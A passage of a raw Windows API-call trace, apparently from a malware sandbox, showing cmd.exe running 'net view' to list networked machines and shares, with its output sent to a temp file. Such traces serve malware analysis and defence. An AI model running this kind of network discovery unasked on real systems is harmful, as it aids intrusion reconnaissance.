lpBuffer=0x1bf860 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1bf860, lpFilePart=0x1bf840 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1bf840*="system32") returned 0x13 [0126.416] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0126.416] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1bf570 | out: lpFindFileData=0x1bf570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe00000e0, cFileName="Windows", cAlternateFileName="")) returned 0x248950 [0126.416] FindClose (in: hFindFile=0x248950 | out: hFindFile=0x248950) returned 1 [0126.416] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1bf570 | out: lpFindFileData=0x1bf570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe00000e0, cFileName="System32", cAlternateFileName="")) returned 0x248950 [0126.417] FindClose (in: hFindFile=0x248950 | out: hFindFile=0x248950) returned 1 [0126.417] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0126.417] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0126.417] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0126.417] GetProcessHeap () returned 0x230000 [0126.417] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b730 | out: hHeap=0x230000) returned 1 [0126.417] GetEnvironmentStringsW () returned 0x248af0* [0126.417] GetProcessHeap () returned 0x230000 [0126.417] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xac0) returned 0x24ac90 [0126.417] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0126.417] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0126.417] GetProcessHeap () returned 0x230000 [0126.417] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2464e0 | out: hHeap=0x230000) returned 1 [0126.417] GetProcessHeap () returned 0x230000 [0126.417] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4016) returned 0x24cca0 [0126.417] GetProcessHeap () returned 0x230000 [0126.417] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8e) returned 0x24b760 [0126.418] GetProcessHeap () returned 0x230000 [0126.418] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4010) returned 0x250cc0 [0126.418] GetProcessHeap () returned 0x230000 [0126.418] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4010) returned 0x254ce0 [0126.418] GetProcessHeap () returned 0x230000 [0126.418] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cca0 | out: hHeap=0x230000) returned 1 [0126.418] GetConsoleOutputCP () returned 0x1b5 [0126.419] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1 [0126.419] GetUserDefaultLCID () returned 0x409 [0126.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1bf970, cchData=128 | out: lpLCData="0") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1bf970, cchData=128 | out: lpLCData="0") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1bf970, cchData=128 | out: lpLCData="1") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2 [0126.420] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2 [0126.420] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0126.421] GetProcessHeap () returned 0x230000 [0126.421] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x20c) returned 0x24b870 [0126.421] GetConsoleTitleW (in: lpConsoleTitle=0x24b870, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.421] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0126.421] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0126.421] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0126.421] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0126.421] GetProcessHeap () returned 0x230000 [0126.421] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4012) returned 0x24cca0 [0126.421] GetProcessHeap () returned 0x230000 [0126.421] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cca0 | out: hHeap=0x230000) returned 1 [0126.422] _wcsicmp (_String1="net", _String2=")") returned 69 [0126.422] _wcsicmp (_String1="FOR", _String2="net") returned -8 [0126.422] _wcsicmp (_String1="FOR/?", _String2="net") returned -8 [0126.422] _wcsicmp (_String1="IF", _String2="net") returned -5 [0126.422] _wcsicmp (_String1="IF/?", _String2="net") returned -5 [0126.422] _wcsicmp (_String1="REM", _String2="net") returned 4 [0126.422] _wcsicmp (_String1="REM/?", _String2="net") returned 4 [0126.422] GetProcessHeap () returned 0x230000 [0126.422] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xb0) returned 0x24ba90 [0126.422] GetProcessHeap () returned 0x230000 [0126.422] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x18) returned 0x248950 [0126.422] GetProcessHeap () returned 0x230000 [0126.422] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x2445e0 [0126.422] GetProcessHeap () returned 0x230000 [0126.422] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x38) returned 0x2464e0 [0126.424] GetProcessHeap () returned 0x230000 [0126.424] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x24bb50 [0126.425] GetProcessHeap () returned 0x230000 [0126.425] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x244610 [0126.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.425] GetFileType (hFile=0x7) returned 0x2 [0126.425] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.425] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1bf848 | out: lpMode=0x1bf848) returned 1 [0126.426] _dup (_FileHandle=1) returned 3 [0126.426] _close (_FileHandle=1) returned 0 [0126.426] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0126.426] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1bf7f8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0126.426] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0126.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0126.426] GetFileType (hFile=0x50) returned 0x1 [0126.427] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8a9 [0126.427] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1bf858*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bf858*=0) returned 0x8a8 [0126.427] ReadFile (in: hFile=0x50, lpBuffer=0x1bf848, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1bf848*, lpNumberOfBytesRead=0x1bf7f0*=0x1, lpOverlapped=0x0) returned 1 [0126.427] GetConsoleTitleW (in: lpConsoleTitle=0x1bf880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.427] _wcsicmp (_String1="net", _String2="DIR") returned 10 [0126.427] _wcsicmp (_String1="net", _String2="ERASE") returned 9 [0126.427] _wcsicmp (_String1="net", _String2="DEL") returned 10 [0126.427] _wcsicmp (_String1="net", _String2="TYPE") returned -6 [0126.427] _wcsicmp (_String1="net", _String2="COPY") returned 11 [0126.427] _wcsicmp (_String1="net", _String2="CD") returned 11 [0126.427] _wcsicmp (_String1="net", _String2="CHDIR") returned 11 [0126.427] _wcsicmp (_String1="net", _String2="RENAME") returned -4 [0126.427] _wcsicmp (_String1="net", _String2="REN") returned -4 [0126.427] _wcsicmp (_String1="net", _String2="ECHO") returned 9 [0126.427] _wcsicmp (_String1="net", _String2="SET") returned -5 [0126.427] _wcsicmp (_String1="net", _String2="PAUSE") returned -2 [0126.427] _wcsicmp (_String1="net", _String2="DATE") returned 10 [0126.427] _wcsicmp (_String1="net", _String2="TIME") returned -6 [0126.427] _wcsicmp (_String1="net", _String2="PROMPT") returned -2 [0126.427] _wcsicmp (_String1="net", _String2="MD") returned 1 [0126.427] _wcsicmp (_String1="net", _String2="MKDIR") returned 1 [0126.427] _wcsicmp (_String1="net", _String2="RD") returned -4 [0126.427] _wcsicmp (_String1="net", _String2="RMDIR") returned -4 [0126.427] _wcsicmp (_String1="net", _String2="PATH") returned -2 [0126.427] _wcsicmp (_String1="net", _String2="GOTO") returned 7 [0126.427] _wcsicmp (_String1="net", _String2="SHIFT") returned -5 [0126.427] _wcsicmp (_String1="net", _String2="CLS") returned 11 [0126.427] _wcsicmp (_String1="net", _String2="CALL") returned 11 [0126.427] _wcsicmp (_String1="net", _String2="VERIFY") returned -8 [0126.427] _wcsicmp (_String1="net", _String2="VER") returned -8 [0126.428] _wcsicmp (_String1="net", _String2="VOL") returned -8 [0126.428] _wcsicmp (_String1="net", _String2="EXIT") returned 9 [0126.428] _wcsicmp (_String1="net", _String2="SETLOCAL") returned -5 [0126.428] _wcsicmp (_String1="net", _String2="ENDLOCAL") returned 9 [0126.428] _wcsicmp (_String1="net", _String2="TITLE") returned -6 [0126.428] _wcsicmp (_String1="net", _String2="START") returned -5 [0126.428] _wcsicmp (_String1="net", _String2="DPATH") returned 10 [0126.428] _wcsicmp (_String1="net", _String2="KEYS") returned 3 [0126.428] _wcsicmp (_String1="net", _String2="MOVE") returned 1 [0126.428] _wcsicmp (_String1="net", _String2="PUSHD") returned -2 [0126.428] _wcsicmp (_String1="net", _String2="POPD") returned -2 [0126.428] _wcsicmp (_String1="net", _String2="ASSOC") returned 13 [0126.428] _wcsicmp (_String1="net", _String2="FTYPE") returned 8 [0126.428] _wcsicmp (_String1="net", _String2="BREAK") returned 12 [0126.428] _wcsicmp (_String1="net", _String2="COLOR") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="MKLINK") returned 1 [0126.428] _wcsicmp (_String1="net", _String2="DIR") returned 10 [0126.428] _wcsicmp (_String1="net", _String2="ERASE") returned 9 [0126.428] _wcsicmp (_String1="net", _String2="DEL") returned 10 [0126.428] _wcsicmp (_String1="net", _String2="TYPE") returned -6 [0126.428] _wcsicmp (_String1="net", _String2="COPY") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="CD") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="CHDIR") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="RENAME") returned -4 [0126.428] _wcsicmp (_String1="net", _String2="REN") returned -4 [0126.428] _wcsicmp (_String1="net", _String2="ECHO") returned 9 [0126.428] _wcsicmp (_String1="net", _String2="SET") returned -5 [0126.428] _wcsicmp (_String1="net", _String2="PAUSE") returned -2 [0126.428] _wcsicmp (_String1="net", _String2="DATE") returned 10 [0126.428] _wcsicmp (_String1="net", _String2="TIME") returned -6 [0126.428] _wcsicmp (_String1="net", _String2="PROMPT") returned -2 [0126.428] _wcsicmp (_String1="net", _String2="MD") returned 1 [0126.428] _wcsicmp (_String1="net", _String2="MKDIR") returned 1 [0126.428] _wcsicmp (_String1="net", _String2="RD") returned -4 [0126.428] _wcsicmp (_String1="net", _String2="RMDIR") returned -4 [0126.428] _wcsicmp (_String1="net", _String2="PATH") returned -2 [0126.428] _wcsicmp (_String1="net", _String2="GOTO") returned 7 [0126.428] _wcsicmp (_String1="net", _String2="SHIFT") returned -5 [0126.428] _wcsicmp (_String1="net", _String2="CLS") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="CALL") returned 11 [0126.428] _wcsicmp (_String1="net", _String2="VERIFY") returned -8 [0126.428] _wcsicmp (_String1="net", _String2="VER") returned -8 [0126.428] _wcsicmp (_String1="net", _String2="VOL") returned -8 [0126.429] _wcsicmp (_String1="net", _String2="EXIT") returned 9 [0126.429] _wcsicmp (_String1="net", _String2="SETLOCAL") returned -5 [0126.429] _wcsicmp (_String1="net", _String2="ENDLOCAL") returned 9 [0126.429] _wcsicmp (_String1="net", _String2="TITLE") returned -6 [0126.429] _wcsicmp (_String1="net", _String2="START") returned -5 [0126.429] _wcsicmp (_String1="net", _String2="DPATH") returned 10 [0126.429] _wcsicmp (_String1="net", _String2="KEYS") returned 3 [0126.429] _wcsicmp (_String1="net", _String2="MOVE") returned 1 [0126.429] _wcsicmp (_String1="net", _String2="PUSHD") returned -2 [0126.429] _wcsicmp (_String1="net", _String2="POPD") returned -2 [0126.429] _wcsicmp (_String1="net", _String2="ASSOC") returned 13 [0126.429] _wcsicmp (_String1="net", _String2="FTYPE") returned 8 [0126.429] _wcsicmp (_String1="net", _String2="BREAK") returned 12 [0126.429] _wcsicmp (_String1="net", _String2="COLOR") returned 11 [0126.429] _wcsicmp (_String1="net", _String2="MKLINK") returned 1 [0126.429] _wcsicmp (_String1="net", _String2="FOR") returned 8 [0126.429] _wcsicmp (_String1="net", _String2="IF") returned 5 [0126.429] _wcsicmp (_String1="net", _String2="REM") returned -4 [0126.429] GetProcessHeap () returned 0x230000 [0126.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x24bbd0 [0126.429] GetProcessHeap () returned 0x230000 [0126.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x26) returned 0x244640 [0126.429] _wcsnicmp (_String1="net", _String2="cmd ", _MaxCount=0x4) returned 11 [0126.429] GetProcessHeap () returned 0x230000 [0126.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x420) returned 0x231320 [0126.429] SetErrorMode (uMode=0x0) returned 0x0 [0126.429] SetErrorMode (uMode=0x1) returned 0x0 [0126.429] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x231330, lpFilePart=0x1bf110 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1bf110*="system32") returned 0x13 [0126.430] SetErrorMode (uMode=0x0) returned 0x1 [0126.430] GetProcessHeap () returned 0x230000 [0126.430] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x231320, Size=0x40) returned 0x231320 [0126.430] GetProcessHeap () returned 0x230000 [0126.430] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x231320) returned 0x40 [0126.430] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.430] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0126.430] GetProcessHeap () returned 0x230000 [0126.430] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x104) returned 0x24bdf0 [0126.430] GetProcessHeap () returned 0x230000 [0126.430] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1f8) returned 0x24bf00 [0126.434] GetProcessHeap () returned 0x230000 [0126.434] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24bf00, Size=0x106) returned 0x24bf00 [0126.435] GetProcessHeap () returned 0x230000 [0126.435] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bf00) returned 0x106 [0126.435] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0126.435] GetProcessHeap () returned 0x230000 [0126.435] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xe8) returned 0x24c020 [0126.435] GetProcessHeap () returned 0x230000 [0126.435] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x24c020, Size=0x7e) returned 0x24c020 [0126.435] GetProcessHeap () returned 0x230000 [0126.435] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c020) returned 0x7e [0126.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.435] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.*", fInfoLevelId=0x1, lpFindFileData=0x1bee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1bee80) returned 0x24c0b0 [0126.436] GetProcessHeap () returned 0x230000 [0126.436] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x244670 [0126.436] FindClose (in: hFindFile=0x24c0b0 | out: hFindFile=0x24c0b0) returned 1 [0126.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x1bee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1bee80) returned 0xffffffffffffffff [0126.436] GetLastError () returned 0x2 [0126.436] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x1bee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1bee80) returned 0x24c0b0 [0126.436] GetProcessHeap () returned 0x230000 [0126.436] RtlReAllocateHeap (Heap=0x230000, Flags=0x0, Ptr=0x244670, Size=0x8) returned 0x248970 [0126.436] FindClose (in: hFindFile=0x24c0b0 | out: hFindFile=0x24c0b0) returned 1 [0126.436] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0126.436] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0126.436] GetConsoleTitleW (in: lpConsoleTitle=0x1bf3d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.437] InitializeProcThreadAttributeList (in: lpAttributeList=0x1bf188, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1bf148 | out: lpAttributeList=0x1bf188, lpSize=0x1bf148) returned 1 [0126.437] UpdateProcThreadAttribute (in: lpAttributeList=0x1bf188, dwFlags=0x0, Attribute=0x60001, lpValue=0x1bf138, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1bf188, lpPreviousValue=0x0) returned 1 [0126.437] GetStartupInfoW (in: lpStartupInfo=0x1bf2a0 | out: lpStartupInfo=0x1bf2a0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0126.437] GetProcessHeap () returned 0x230000 [0126.437] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x20) returned 0x244670 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0126.437] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0126.438] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0126.438] GetProcessHeap () returned 0x230000 [0126.438] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x244670 | out: hHeap=0x230000) returned 1 [0126.438] GetProcessHeap () returned 0x230000 [0126.438] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x12) returned 0x248990 [0126.438] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0126.439] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="net view ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1bf1c0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="net view ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1bf170 | out: lpCommandLine="net view ", lpProcessInformation=0x1bf170*(hProcess=0x58, hThread=0x54, dwProcessId=0x6bc, dwThreadId=0x600)) returned 1 [0126.448] CloseHandle (hObject=0x54) returned 1 [0126.448] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0126.448] GetProcessHeap () returned 0x230000 [0126.448] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ac90 | out: hHeap=0x230000) returned 1 [0126.448] GetEnvironmentStringsW () returned 0x24ac90* [0126.448] GetProcessHeap () returned 0x230000 [0126.448] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xac0) returned 0x248af0 [0126.448] FreeEnvironmentStringsW (penv=0x24ac90) returned 1 [0126.448] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0140.033] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x1bf0b8 | out: lpExitCode=0x1bf0b8*=0x2) returned 1 [0140.036] CloseHandle (hObject=0x58) returned 1 [0140.038] _vsnwprintf (in: _Buffer=0x1bf328, _BufferCount=0x13, _Format="%08X", _ArgList=0x1bf0c8 | out: _Buffer="00000002") returned 8 [0140.039] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0140.039] GetProcessHeap () returned 0x230000 [0140.039] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248af0 | out: hHeap=0x230000) returned 1 [0140.039] GetEnvironmentStringsW () returned 0x248af0* [0140.039] GetProcessHeap () returned 0x230000 [0140.039] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xae6) returned 0x2597f0 [0140.039] FreeEnvironmentStringsW (penv=0x248af0) returned 1 [0140.039] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0140.039] GetProcessHeap () returned 0x230000 [0140.039] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2597f0 | out: hHeap=0x230000) returned 1 [0140.039] GetEnvironmentStringsW () returned 0x248af0* 